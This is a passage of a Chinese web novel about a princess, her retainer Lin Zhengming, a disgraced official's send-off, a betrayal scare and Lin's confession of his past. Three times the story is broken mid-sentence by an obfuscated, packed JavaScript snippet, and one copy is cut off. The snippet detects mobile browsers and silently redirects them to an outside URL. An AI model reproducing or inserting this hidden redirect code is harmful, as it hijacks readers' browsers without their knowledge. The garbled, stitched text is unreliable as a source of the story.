张可为官只求一个问心无愧,突遭贬斥,心里难免自我怀疑,此时最怕听到、也最想听到能有人肯定他这些年的所作所为,一时情绪激动,双眼泪流不止 "谢……谢殿下。"他声音颤抖,几不能言。 林徵鸣见状,上前扶住他的手臂,轻轻拍了拍:"张大人为人正直,不屈不折,乃我辈典范此番殿下特地来为大人送行,大人可要好好保重自身,不叫殿下担忧啊。" 张可正在心里酝酿着感激的话,突然扶着自己的人就从昭平公主换成了另一个男子,他没反应过来,有些懵懵地看着林徵鸣。 他埋头案牍,对王都中发生的事情不大关心.所以并不知道林徵鸣曾经在东宫诗会上大出风头,再加上林徵鸣久居公主府,并不在王都官宦中走动,故张可并不知道他是谁,只看着这人衣着华丽,又与公主举止亲密,这…… 宋庭玉内心翻了个白眼,示意林徵鸣将包裹递上来,对着张可殷切道:"我看大人一车一马,轻装简行,想必是为了早日赴任。但毕竟此番一去涿州数千里,路途遥远,行路住店恐怕有些事情忙不过来,王都外十五里处有一驿站,我派了人在那处等候,一路送大人到涿州。这是一点心意,望张大人收下。" 张可百感交集,连连推辞:"臣一贬谪之人,劳公主出城相送已是麻烦,怎可再劳动公主,万万不可。" 宋庭玉知道他会推辞,不说让他接受,只笑道:"大人早日抵达涿州,也好早日为涿州百姓做些事,本宫此番让人相送,不过是为了涿州百姓面已。收下吧。" 张可心里一酸,他自然知道宋庭玉这样说只是为了让自己好受些,当下不再推辞,深深一拜;"多谢公主。" "另外"宋庭玉低声道:"大人此番为何遭此一难,你我都心中有数,斜月阁背后牵涉的非一家一户,如今被封,不知动了多少人的利益。涿州天高皇帝远,但难保不会有人将手伸到那里去。这个大人拿着。"她说着,从袖笼中拿出一个镶金玉牌,上有"昭平"二字。"若有解决不了的事情,将此物拿去码头,自有人前来相助。" 林徵鸣双眼一眯,脸色有几分沉下去。 张可面带犹疑地接过玉牌。昭平公主在王都并不出众,很多人以前甚至没有听说过这位公主,张可此前也一直将她当做寻常皇室女儿看待,可上次斜月阁一事,张可就察觉到了昭平公主并不像她展现出来的那样平平无奇,无论是她自己的聪慧决断,还是手下笼络了一群能人异士,都昭示着她暗中的势力非同小可,而她并没有在自己面前掩饰这种势力。 难道…… 张可惊疑不定,偷偷看宋庭玉的表情,见她面色平静,看着自己的样子有几分意味深长,不由呼吸急促起来,手心也沁出了冷汗。 "大人不必多思,公主保大人此行平安,都是为了涿州百姓,大人这样的人为一方父母官,是百姓之福。只是过刚易折,大人日后也要小心才是。" 林徵鸣见他面色有异,适时接过话道 可此时已经顾不上在意林徵鸣的身份了,只想着他这样说话必然也是公主的意思,当下连连点头。至于宋庭玉此番行动的深意,他并不愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416277|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多想。 毕竟,一切都还遥远 他犹豫片刻,还是道:"若有机会,臣必报殿下知遇之恩。"他再次拜下去。 宋庭玉这次没有阻拦他,而是端端正正受了一礼,见他起身,才温声道;"大人护好一方百姓,就是对本宫的报答了。" 张可一听,心里又是一暖。 阵阵风起,吹得林中树叶沙沙作响,明明是夏天,却无端让人感到一阵凉意。 林徵鸣走到林子里,从马上取下一件斗篷,亲手为宋庭玉披上,软声道:"殿下,小心着凉。"宋庭玉没有动手,只是站在原地,等他为自己系好斗篷。林徵鸣看她难得没有反驳自己.心中一阵愉悦。斗篷是夏天用的,但也有系带,宋庭玉微微抬高下巴,方便他动作,林徵鸣只感觉到她微热的呼吸轻轻拂在自己手指上,像是穿过了某种动物幼崽的皮毛,心痒难耐。他装作不经意地抬眼看向她,却意外发现她也正抬着眼睛看向自己。林徵鸣只觉呼吸微微一乱。"怎么了?"宋庭玉低声问。 林徵鸣摇摇头,两人都没有注意到彼此挨得极近,连呼吸都交错在一起 张可站在原地,愣愣地看着这一幕,屏住呼吸,不敢出声,在这样的氛围里连大声呼吸都会觉得自己十分突兀,他面色古怪,之前被他刻意忽视的诡异感觉再次涌上心头。 送君千里,终有一别,宋庭玉怕张可赶不及到驿站,便催促着人赶紧上路。见人上了马车走出一段,才带着林徵鸣往回走 林徵鸣想着张可方才离开时又红通通、几欲流泪的眼睛,撇了撇嘴,心道;一个半大老头儿了,哭哭啼啼,像什么样子 回去的路上,林徵鸣像是突然意识到自己刚才的所作所为似乎有些明显了,惴惴看向宋庭玉没有想到她脸上神色自然,没有生气的迹象。林徵鸣暗暗舒了一口气,但随即又感到一阵失落,心中自嘲;虽然没有体会到自己的心意,但好歹是没有生气。 想着心事,脸上也带了了几分失落,就听宋庭玉像是忍不住一般,突然大笑出声。 林徵鸣奇怪地看向她,脸上带了几分不自然:"你笑什么?" 谁知宋庭玉听了非但没有收敛,反而笑得更厉害了,在马背上笑得前仰后合,笑得墨沙打了个响鼻。 林徵鸣怕她摔下来,伸手去扶她,被她一把抓住手臂,笑问:"你对张大人有何不满?"林徵鸣尴尬道:"我怎么会对张大人不满,只是起风了,临近出发,你不要生病才是。"他说着,别过脸去佯装在看四周的风景。 宋庭玉凑上去看他,脸上带着促狭的笑,讨嫌道:"真的?" 林徵鸣道:"自然。" 宋庭玉接着问:"你就没有什么私心?" 林徵鸣正色道:"自然没有,我能有什么私心。" 他和宋庭玉你来我往,一问一答习惯了,话说出口,才反应过来她刚刚问了什么,心中讶然,猛地回头去看她,却见她已经转过头去,左看右看附近的树,好像那绿色很值得研究一番,什么都没发生似的。 林徵鸣揪住她的衣摆,不依不饶道:"你说清楚,我有什么私心?" "你这人好生奇怪,自己有什么私心,偏偏来问我。"宋庭玉一夹双腿,要马快走。林徵鸣怕她走快了出事,只好放开手。他骑术不差,快速追上去,追着问她:"到底什么意思?你是不是……" "嘘!"宋庭玉回头,制止了他,歪着头,脸上带着意味深长的笑:"想好再说吧,来日方长。" 林徵鸣心里猛地一震,心跳不受控制的加快,他想起方才宋庭玉对张可也是这样说的,她这个人,说话做事总是别有深意,让人捉摸不透,他不确定她是否已经明白了他的意思,又对这种意思抱有什么态度 他仰起头,夏日傍晚的风温和舒适,根本不像他说的那样需要戴披风,宋庭玉常年骑马锻炼,在寒冬的风雪里都能单衣骑行,哪里会在乎这点小风。他隐约感觉到什么,但并没有挑明,她说得对,来日方长。 想到这里,他难掩心中的激动,仿佛有一场雷雨倾泄而下,酣畅淋漓的、万物更新的,那阵阵惊雷让他忍不住奔跑起来,于是他收紧缰绳,策马扬鞭。 "驾!" 宋庭玉一惊,就见他已经冲到自己前面去了。她笑得更加开怀,催动灵晔紧紧跟上。 36. 暴露 送别张可后,宋庭玉关在府中,开始了自己名为思过、实则禁足的日子。阖府上下忧心忡忡,生怕宋庭玉情绪不佳,同她说话都是小心翼翼。宋庭玉自己却并不在意,对于一个优秀的猎手来说,适时的退一步并不意味着放弃,而是为了下一次更好地出击 忙里得闲,她怀里抱着那只长大了一点儿的狸花猫,心情甚好地半躺在凉亭里,信手翻看本书,甚是悠闲。 今日是小满,"春风吹,苦菜长,荒滩遍地是粮仓"。今日宋庭玉庄子里的庄户人家祭拜车神,祈求一年风调雨顺,陈伯喜欢这些热热闹闹的节日,带着忍冬和菘蓝一起去了庄子里。林微鸣想留在府里陪她,也被她打发走了。 难得清静,她合上书闭目养神 天气闷热,即使坐在院中凉亭里,依旧闷得透不过气来。没有一点儿风,头顶的天空蓝得醉人,远处却低低地压下层层黑云,像是在酝酿一场大雨 距离敬慈夫人的寿宴不过短短十余日,竟已经发生了这么多事。忙得不时候不觉得累,如今骤然放松,她久违地赶到疲惫和困倦,听着怀里狸猫低低的"呼噜"声,她渐渐陷人梦境。然而,忙碌惯了的人,似乎老天爷都不会让她闲下来,不过一盏茶的功夫,她就听见有人在耳边轻声唤自己。 "殿下,殿下。" 宋庭玉睁开眼睛,见是影一,坐起身道:"什么事? 怀里的狸猫被她的动作吵醒,不满地叫了一声,跳了下去 影一见状,难得有些不好意思,宋庭玉摆摆手,示意无妨 他低声道:"殿下,您让我查的那块白玉无事牌,有结果了。" 宋庭玉立刻来了精神:"细细说来。" 影一神色隐隐带着激动道:"属下去了城中的几家老字号玉器店,老掌柜都能看出此玉料质轻薄透光,出触手温润,是上好的南方货,绝非出自我元夏。故而印证了殿下的第一个猜想,此物的确是来自南梁,而非有人故意伪造。在城东的玉雕市场里,属下多方打听,找到一个年逾古稀的老师傅,他看了这玉牌上的刻字,言刻痕粗陋,刀笔痕迹十分新,断定乃近日所刻,最多不过十日。" 宋庭玉站起身,肃然看他:"确定吗?" 影一点点头:"那老师傅是专给宫里制玉器的,应该不会有错。" 宋庭玉在亭中踱了几步,边想边道:"若真是南梁王世子赠予杨珠儿的,那必定不会是新进刻上去的字,所以,是有人伪造了这个玉牌,让本宫以为杨珠儿是南梁的人……不,杨珠儿出现在本宫面前的时机太过凑巧,且举止异常,目的就是引起本宫的注意,所以,杨珠儿的身份没有问题,那么,是谁要揭开杨珠儿的身份呢?" 影一又道:"殿下,属下还有一个发现。" "说。" "属下在玉器坊打听的时候,有一个人说他见过这个牌子,他是和信典当行的伙计,他说,十多日前,有一个南梁来的小公子拿这个玉佩当了一百两银子,之后过了几日,玉佩就被人赎走了。赎走它的人是……"天空突然阴沉下来,空气中氤氲着潮气,一道响彻云霄的惊雷"轰隆"一声砸下。 "赎走他的人,是殿下府上的林先生,林微鸣。'' 大雨倾盆面下,天空在刹那之间变得阴沉,黑云压境,整个公主府笼罩在一片暗沉沉,如有实质的压抑与寂静中。 小狸花不知跑去了哪里,宋庭玉怀中空空,撑着伞,一个人穿过回廊,来到后院,径自走进了林微鸣的院子,突然顿住脚步,想起什么,又折返回去。 "喵。" 一声娇滴滴的呼唤拦住了她 她回过头,是不知何时跑回窝里的小狸花,正舔着自己的爪子,一双碧莹莹的眼睛看着她。见她不动,又"喵"了一声在窝门口转了两圈,轻盈跳上回廊的栏杆,三步并两步向她跑过来,在廊下望着绵绵不绝的雨幕,急得转圈 宋庭玉看着那木头做的猫窝,是她看着林微鸣做的,榫卯相合,严丝合缝,那时她还打趣林微鸣怎么什么都会做,不像惯常的读书人。他当时笑了笑,只说她有失偏颇。如今看来,恐怕他可以是任何人,唯独不会是一个单纯的读书人 物是人非,如今看着这精致暖和的猫窝,也碍眼起来 小狸花还在廊下喵喵叫个不停,似乎在疑惑这个人怎么还不来抱她,宋庭玉的背影已经消失在月亮门外。 它疑惑地歪了歪头,又大声"喵"了两句,在安静的公主府里显得格外惹人怜爱。 临水阁外,宋庭玉站在脚下,抖落伞上的水珠,收起伞立在一边,进屋点亮了灯,才从怀里掏出一个毛茸茸的东西,冷嘲:"你跟来做什么?看看本宫是如何被人背叛的?"小狸花在她怀里扭了扭身子,露出白白的肚皮,水汪汪的眼睛软软地看着她,像是在示弱。宋庭玉深吸一口气,摇了摇头,抱着它转身,细细打量这间屋子。 林微鸣搬她隔壁之前,一直是住在这里的。临水阁是公主府的最后一重,距后山近,平日里也不会有人过来,若是想做些什么需要掩人耳目的事情,在这里简直是天时地利人和。她轻轻了动鼻子,空气中还残留着淡淡的药香,是林微鸣身上的味道。屋子打扫得很干净,不过几日的功夫,连灰尘都来不及落满书桌,她身边的人和事已经发生了如此巨变。难道真的应了吴文新所说,她宋庭玉的身边皆是别有用心之人? 四下打量一圈,缓步走进了里间。这是林微鸣日常歇息和读书的地方,屋内家具不多、陈设简单,一张雕花拔步床放在墙角,靠窗的位置摆着一张长桌,上面零零散散扔着几张纸,应该是搬家时忘记带走的。 宋庭玉翻了翻,皆是读书时的随手所作,胡乱涂鸦,连不成字句。 "喵。" 小狸花叫了一声,从她怀里下去跳上了床头,四处闻了闻,踱着小步子探头探脑片刻,在床头卧了下来。 宋庭玉跟过去,嗔怪道:“你瞎跑什么?一会儿跑丢了我可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他目光往下一移,看见了桌子上摆着的东西,神情一僵,难得语塞,结结巴巴道:“殿下,你,你听我解释。”只是迎着宋庭玉不信任的目光,往日里能说会道的一张巧嘴突然变得笨拙起来,半天说不出一句话。 宋庭玉见他如此,一颗心登时沉到了谷底。如今再想起吴文新的话,只觉仿佛身边所有人都知道林徵鸣别有所图,只有自己还傻乎乎地相信他,为他辩解,即使面对自己的疑问他一句话都没有解释,自己依然给了他时间,让他想清楚,这期间从未有有过一次对他的怀疑。 只是如今,明晃晃的事实告诉她:你信错了人。 刹那间,那些温暖的关心和细致的安慰化作一柄刺向她的利剑,一遍遍提醒她付出信任之后,得到的是无穷无尽的背叛。 “锵!” 寒光一闪,佩剑脱鞘而出,毫不犹豫地刺向他。 37. 坦白 林徵鸣让宋庭玉坐在桌边,自己拿着茶具开始泡茶。宋庭玉看出他有话要说,撑着下巴坐在桌边饶有兴致地看。 看美人泡茶是一种享受。别的不说,林徵鸣这人生的确实好看,眉目舒朗、棱角分明,即使面无表情,也不会让人觉得冒犯,只会想一定是自己有什么地方惹了人家厌烦。再加上言谈举止优雅有度,怪不得连厨房大娘都要多照顾他几分。宋庭玉见过好看的人不少,她舅舅就是元夏出了名的美将军,年少时名动王都,出个门都有掷果盈车的效果,几年没见也不知现在变成什么样了,有没有变老呢? 除了威远将军,羽林卫统领李多宜也长得不错,高大威猛,做事踏实稳重,在京中也颇受人欢迎,他妹妹李幼宜倒是长得像他,也是一个素净的小美女。 宋庭玉不着边际地想着,看着林徵鸣发呆。 林徵鸣摇摇头,不动声色地笑笑,兀自冲水、洗杯、洗茶、泡茶,一套动作行云流水,待盈盈茶香随着袅袅热气升腾而起,他慢悠悠倒了一杯,放在宋庭玉面前。 宋庭玉动了动鼻子,轻轻嗅了嗅,只觉茶香独特,不是元夏有的,疑惑看他。 林徵鸣笑笑:“这是我从南梁带来的茶,只生在南边雨水丰沛、天气温暖的地方,四季如春才能养出这样的好茶。” 宋庭玉端起杯子,浅浅饮了一口,确实香气清淡,入口清爽,片刻后舌尖尝到微微回甘。她点点头,确实新鲜。 林徵鸣给自己也倒了一杯,尝了一口,才放下杯子道:“我生在南梁最南边的荔州,荔州临海多山,雨水多、天气暖,但土地难以耕种,那里的百姓多以出海捕鱼为生。南梁不禁海运,每年都会有很多来自北方的商船经过荔州,将荔州的各色果子、茶叶、鱼获运到北方去卖。我爹就是这样一个商人。”他语气很平静,像是并没有在说自己的事。 宋庭玉放下手中的杯子看他。 林徵鸣转头看向窗外,目光悠远。 “荔州的景色很美,我娘也是渔村里最漂亮的渔女,但是一个渔女是留不住一个富甲商贾的长子的。所以他走了,并没有留下什么承诺。好在我娘也没有希望他会回来接我们母子,在我的记忆里,父亲这个角色是不存在的。” “但是我娘并不是一个甘心在渔村里一辈子的人,所以后来她也走了,在我六岁的时候,她遇到了一艘来自蕉州的商船,船上货物的主人是南境的富商,我娘与他一见倾心,我还从没见过她那样开心过。” 林徵鸣抬头看向窗外海棠树上的鸟窝,前些日子有小喜鹊破壳,大喜鹊每天都要往返好几趟给小喜鹊喂食。他已经很久没有想起过母亲了,时间太久,她的眉眼在记忆里已经渐渐模糊,或许也是因为一个人带着孩子的日子并不好过,她那样年轻貌美的女人,在封闭的小渔村里做出那样一件惊世骇俗的事情,总是要被人指指点点的。记忆中,她每天都是忙忙碌碌,就像那只母喜鹊,为养育一个孩子在日复一日的辛勤劳作和流言蜚语里消耗她自己。 他还记得那艘商船上的人很多,买走了村子里的很多鱼获,村里人都很喜欢他们,尤其那个长相奇特的南境人,他说一口流利的南梁话,比村长认得字还多。 从那天起,母亲的脸上渐渐有了笑容,他常常见她在深夜无人、村里所有人都安睡的时候,一个人对着月亮发呆,脸上偶尔有甜蜜的、温柔的笑容,但当她转过身看见床上熟睡的他的时候,这种笑容带上了苦涩和挣扎。 “有一天晚上,她回来得很早,做了一顿非常罕见的菜,从我记事起,我们家从来没有吃过那样多的东西,即使是过年也没有,然后她犹豫很久,说她要和那个南境人走。村里的流言蜚语和暗地里的欺负,让她无法再生活下去,她要离开这里。” “那你……”宋庭玉看着他。 林徵鸣收回目光,脸上挂着平静的微笑:“我没有走,在他们准备出海的时候,我离开了。” 宋庭玉一惊:“为什么?” “因为我听到那个南境人对她说,可以带她走,但是并不想带我走。他会对自己喜欢的女人好,但并不包括那个女人来历不明的孩子。” 宋庭玉冷嗤:“他这样说,恐怕也不见得有多喜欢吧。”话一出口,就知不妥,毕竟是林徵鸣的母亲,她自觉失言,歉意地看他。 林徵鸣摇摇头,并不在意,提起茶壶又为她添上水,才慢慢道:“我想她自己也是清楚的,只是她太需要离开那个村子了。离开之后,无论去哪里,带上一个孩子,都是不方便的。” “可是,也许你母亲并非那样想的呢?也许她就是想要带着你一起呢?”宋庭玉忍不住反驳。 林徵鸣自嘲一笑:“她不是。我知道她一直很后悔生下我,也很后悔没有将我扔给我的亲生父亲。她生下我时才十七岁,往后的六年因为有了我她过得很不好,所以她不止一次想要扔下我。” 宋庭玉小心翼翼地看着他的表情,一时之间不知道该说些什么才能让自己的安慰显得不那么轻描淡写。 反倒是林徵鸣自己,一脸无所谓的表情:“我不喜欢被人放弃的感觉,她已经有了这种念头,即便是带上了我,我也不过是她的负担,所以我也自己走了。” 宋庭玉忍不住道:“可那是你才六岁,能去哪里呢?” 林徵鸣笑道:“天地之大,何处不能为家?” 从那艘船上跳下来后,林徵鸣感到一阵前所未有的轻松。他没有告诉宋庭玉的是,在他游到岸边,湿漉漉上了岸,在太阳下甩掉自己头发上的水珠时,他余光看到一个女人,穿着水红色的衣裙,站在船舱边望着他,阳光下她的脸庞年轻、美丽,她站里的姿态充满对未知的渴望。 那是他的母亲。 她最终还是抛弃了他。 他没有回头,装作没看见的样子,挺直身子远离了海边。 “村里没人要我,我也并不想回去,我将家里她没有带走的东西收拾好,一个人离开了荔州往北走,到了宿城,遇见了我的老师。” 他三言两语说完了自己年少的经历,宋庭玉却知道其中的艰难绝非两句话就可以带过。一个六岁的孩子是如何一步一步走出了从小长大的渔村,又是怎样一个人穿过了从没去过的荔州城,到了另一个地方。但林徵鸣不说,她自知也许他并不想提起那些经历,所以顺着问道:“你的老师?” 说来奇怪,林徵鸣这个人才学出众,在东宫诗会上力压元夏所有文人夺得魁首,想来出身不凡,可他却从没提过自己师从何人。宋庭玉想到那些向自己毛遂自荐的文人,一开口先不提自己学问几何,上来就是师从某某,是某某的关门弟子,与某某同出一门之类,仿佛师门中人做出的成绩、拥有的才学,也因为同出一门而自然为他所有似的。 她挑眉看他:“你似乎从没在元夏提过自己师承何人?” 林徵鸣对上她的眼神,浅笑道:“确实,你是头一个,所以若是知道了,可一定要替我保密。” 宋庭玉翻了个白眼:“那我岂不是风险很大,算了,不要听了。” 林徵鸣笑问:“当真不听?也不会派人暗中去查? 宋庭玉气道:“你当我是什么人,说了不听自然也不会私自去查。”再说了,之前不知他的底细,就算是查他,那又如何? 她在心里强词夺理,林徵鸣叹了一口气,无奈道:“当真不听?” 宋庭玉摇摇头,十分坚决的样子:“不听。” 他看着她,不知想到什么,又是叹了一口气,才道:“好吧,那随便你怎么处置,如今是我未对公主坦白,作为赔罪,确实应向公主道明一切。” 宋庭玉前几日心里的确是这样想的,林徵鸣是自己府上的门客,理应对自己坦诚,怎么能有秘密呢? 可如今让他这样直白地说出来,她又后知后觉地有些奇怪,这话说的,仿佛是在保证什么一样。 宋庭玉自小不在爹娘身边长大,她爹娘关系也非常一般,自然没见过这种仿佛闺阁密语般的保证与发誓,还以为林徵鸣是以一个门客的身份说话,心道这真是怪肉麻的。 林徵鸣猜不到她心里想的什么,不然恐怕又要长叹一口气了。 他接着道:“我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427043|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师,是南梁的大儒杨禹之。” “什么?知年先生?”宋庭玉手放下来,惊讶看她。 杨禹之字知年,是南梁知名的大儒,年轻时做过南梁皇帝的老师,官居正一品,之后又任太子太傅,因年事已高,辞官回乡颐养天年。杨禹之虽是南梁人,但在元夏也负有盛名,只因他著书立说、笔耕不辍,又桃李满天下,是天下读书人向往的大儒。 “你若早说了自己有这身份,何至于一开始在元夏受那些冷待。”宋庭玉喃喃,若是太子知道了,不,别说是太子,若是父皇知道了,恐怕也要捶胸顿足后悔一番吧。 想到这,她又有些别扭,一个这样出身名门、自己有腹有大才的能人,屈居在自己这小小的公主府,还要受人非议,被冠上佞幸的帽子,实在是委屈了他。 林徵鸣这下知道宋庭玉在想什么了,他拨弄着桌上的小茶壶,看着宋庭玉的眼睛笑道:“不必多想,我还要感谢公主给了我一个容身之处呢。” 宋庭玉撇了撇嘴,有些不自然道:“你既然有如此身世,为何不在南梁做官,反而千里迢迢跑来元夏呢?” 说起这个,林徵鸣神色一黯,淡淡道:“南梁同元夏相似,南梁皇帝膝下也只有一个大皇子,他少时由老师教导,说起来与我也是同门。我与他相处,并不愉快。老师年事已高,我无意让他为难,自己也并不喜欢做官一途,就自请离开南梁,一路游历,来了元夏。” 宋庭玉点点头,倒是没有多说什么。林徵鸣这个人看起来确实对做官一事并不感兴趣,明明自己有满腹才学,又不乏经世济民之能,可每天就窝在公主府做些侍花弄草之事,因编书一事出入文渊阁,可也不见同阁中学士有什么往来,后妃诗册编成后,将书给她一扔,就当起了甩手掌柜,也不见多感兴趣。 只是这样,他当初又是为什么一定要进公主府呢? 宋庭玉想起当初林徵鸣找上自己时那副恨不得鞠躬尽瘁、肝脑涂地的样子,又看他现在整日喝茶看书、搭理庭院的悠闲模样,只觉得自己被人骗了。 但这种欺骗究竟有什么目的,是善意还是恶意,她现在并不知道,也无意刨根问底,有些事情要自己发现才有趣,有些事情或许只是时机未到。 宋庭玉将青玉小盒子放在掌心,对着阳光看了看,状似不经意问:“知年先生也让你学了武艺?” 林徵鸣诧异道:“当然没有,老师是读书人,并不会武,跟着老师的那些年我也只跟他读书,并没有学别的。” 他想了想,才明白宋庭玉问的是什么,笑道:“我知道了。老师的朋友经常来府上做客,其中有一个江湖游医,姓杨,医术高明妙手回春,还精通习武之道。他是想教我练武来着,但是我那是年龄已经大了,并不适合,又见我懂些一直头疼脑热的方子,就教给我一些浅显的医术和针灸之术,待我熟悉人身穴位之后又教我几招点穴防身之术。那次也是侥幸,那个刀疤匪徒并未防备,不过一力降十会,我也是趁了他不备才能得手一次,若是再来一次也是不行了。” 宋庭玉若有所思地点点头,赞道:“遇上不知道的,也能拖一拖时间,倒也有用。” “说起来,我竟是不知,你一个堂堂皇室公主,竟有那么好的身手。” “那是自然。”宋庭玉傲然道,言语间并没有掩饰的意思,“若没有些自保的能力,早被人吃得骨头渣子都不剩了。” 林徵鸣听她说得轻描淡写,但心里知道她所经历的尔虞我诈恐怕比自己更多,韬光养晦多年,不然也不会在南梁那边落下一个不务正业的名声。只不过这些日子,她倒并没有掩饰的意思,反而隐隐露出了隐藏多年的獠牙,像一柄喝合鞘已久的利刃,终于等到了重见天日、展示锋芒的时候。 只是,林徵鸣看着她研究手心里的青玉盒子我,不时凑上去闻一闻,然后露出一个皱眉的表情,像一只好奇的小老虎。 想起她那些并不顺遂的经历,他有些物伤其类,一时之间也不知道说些什么。 茫茫人海,能与他共看喜鹊归巢的人,竟在千里迢迢的元夏皇室中。 38. 山中仙观 林徵鸣不知道自己的苦心剖白在宋庭玉心里会起什么样的效果,自己又将面对什么样的审判,只是出乎意料的,当他将自己的所有秘密对宋庭玉和盘托出时,心里的一块大石头倏然落地。他以为一直隐瞒会维持他们之间一时的稳定,但只有将一切都说出来的时候,他才意识到,原来,坦诚相对才是维持一段关系最单纯直接,也最有效的法子。 久违地,他睡了个好觉,醒来已经不记得自己做了什么梦,只知道是一个非常非常幸福的梦,让他心甘情愿沉湎其中,不愿醒来。 这种心情很好的状态一直持续到用早膳的时候,他轻声哼着不知名的曲字进了正屋,引得宋庭玉频频投来疑惑的目光。 “一大早就这么高兴,怎么了?” 林徵鸣摇摇头,坐在桌边,想了想,微笑道:“昨晚做了一个好梦。” 宋庭玉自己很少做梦,是因为她难得有一个完整的睡眠,即使偶尔陷入深眠,做的梦也都是自己不愿回首的过往,因此她饶有兴致地问:“做了什么梦?” 林徵鸣本打算摇摇头实话实说的,只是看着宋庭玉近日有些消瘦的脸颊,温声道:“我梦见和殿下去了一个很美的地方,是一座仙山一般的福地,峡谷里花开遍地、草木繁盛,各种鸟儿的啼鸣不绝于耳,只是我却觉得安静极了,因为没有别人,只有我和殿下两个人。” “我们在做什么呢?” 林徵鸣顿了顿:“就是看景,什么也没做。” 不知怎的,宋庭玉突然感觉到一阵脸热,她也说不清是因为林徵鸣温柔的语调,还是他竟然做了这样一个梦。 “吃饭吃饭!” 她避而不谈,眼睛一转,不敢再看他。 林徵鸣看着她微微泛红的耳朵,心头突然一动。 他很清楚自己对宋庭玉抱着怎样的心思,一开始进公主府,就是因为沁月阁前的惊鸿一瞥,只是进了府做了幕僚才知道,宋庭玉像个毫不开窍的木头,仿佛人生中只有复仇一件事,虽然已经有了名义上的两任驸马,对男女之间的情愫,似乎毫无所觉。 渐渐地,林徵鸣也不再执着于此,可能是因为发现了她身上远超外表的、更加丰富、柔软的内心,也可能是她身上所有美好的特质像一张网,牢牢地裹住了他,让他深陷其中无法自拔,总之,林徵鸣对宋庭玉的要求越少,他自己反而越沉溺其中。 将自己的来历全盘托出之后,宋庭玉没有像她自己说的那样,将信任如数收回,而是给了他一个机会,这让他受宠若惊,这不同于其他任何人的待遇让他恍惚有一种错觉:或许在宋庭玉心里,自己是不同的。 只是今早,她微微泛红的耳朵,像是一个信号,虽然一晃而过,却也明明白白的告诉他,她并不是全然不知的。 林徵鸣不动声色地按下自己心头的悸动,默默低下头喝粥。 两人十分和谐地用膳,然而总是有事情打破这样的和谐。 忍冬带着影一进了正堂,宋庭玉抬眼,放下筷子道:“有消息了?” 影一恭敬道:“是,利州出了一桩涉盐引的大案,陛下命吴大人作为钦差出巡,如今太子殿下在文渊阁读书,轻易不可出京,正是好机会。” “好!”宋庭玉起身,拊掌道:“我们的计划可以开始了。” 影一领命而去。 林徵鸣疑惑地看着她:“什么计划?” 宋庭玉心情甚佳,歪了歪头:“你很快就会知道的。” 近日,王都出了一件奇事:翠屏山上,一座道观在一夜之间拔地而起,高耸入云,仿佛直达天宫。观中奇珍异宝无数,琉璃金瓦熠熠生辉,挂在檐角的每一个铃铛上,都镶嵌着一颗夜明珠,到了夜里寂静无人的时候,夜明珠淡淡的荧光仿佛与月光融为一体,借着着淡淡道额光晕,仿佛可以看见仙人于其上谈笑风生。 消息很快就传到了景元帝的耳朵里。 “你说什么?果然是真的?”景元帝“噌”地一声站起来,眉眼之间俱是隐隐的激动,哪里还有半分帝王稳重的样子? “臣不敢有半分欺瞒陛下。”楚秉文道:“今日一大早,臣已率钦天监众官员去翠屏山中查探过了,果然有一座道观,在山谷中拔地而起,巍峨宏伟,实乃世间罕见。” 景元帝沉吟道:“以你所见,这究竟是怎么一回事?” 楚秉文道:“臣愚钝,不敢妄言天意,只是臣回府之后翻遍古书,在一本上古时期的典籍中发现了相似的情况,传闻一人间帝王潜心修行,其行其德感动上天,故而上天降下祥瑞,使其于观中悟道,终得圆满。臣斗胆猜测,如今这凭空出现的道观,亦是祥瑞之兆。” 景元帝哈哈大笑,拊掌道:“爱卿说得有道理,一座如此庞大宏伟的道观,非经年日久不可建成,今日却一夜之间凭空出现,想必必然是朕的赤诚感动了上苍啊!爱卿,以你之见,朕该怎么做?” 虽然景元帝问的是一个问题,但实则他心里已经有了答案,单看楚秉文能不能说出那个他想听的话。果然,楚秉文是个聪明人,他拜下行礼道:“恭请陛下亲巡此仙观,敬香行法事,以谢上苍。” “好!好!李介,拟旨,着礼部安排,朕要亲自去一趟翠屏山!” 帝王出行,端的是兴师动众。大架卤簿恭肃严整,犹如一座移动的宫殿,秩序井然,亮眼的明黄色绵延数里。旗幡扇伞先行,龙旗昭昭,预示着天子驾临;近侍大臣紧随其后,新任的京兆府尹走在人群的最前列,大红官袍,威严庄重;最后是紧紧跟在銮驾后面的后卫禁军,披坚执锐,严阵以待。 官道已经被打扫的干干净净,沿街挂起了明黄色的锦缎,金吾卫一个接着一个护卫在道路两边,往日人声鼎沸的御街,此时除了马蹄和车轮整齐划一地走过外,没有一点声音。 宋庭玉一身大红宫装,早早地在翠屏山脚下等候。 因着翠屏山就在公主府后面,景元帝特命宋庭玉伴驾,皆是因为他想起自己病中,有人在自己耳边念道家经典,句句恳切,想来应是有所悟,才会将聱牙佶屈的典籍念得如此顺畅。 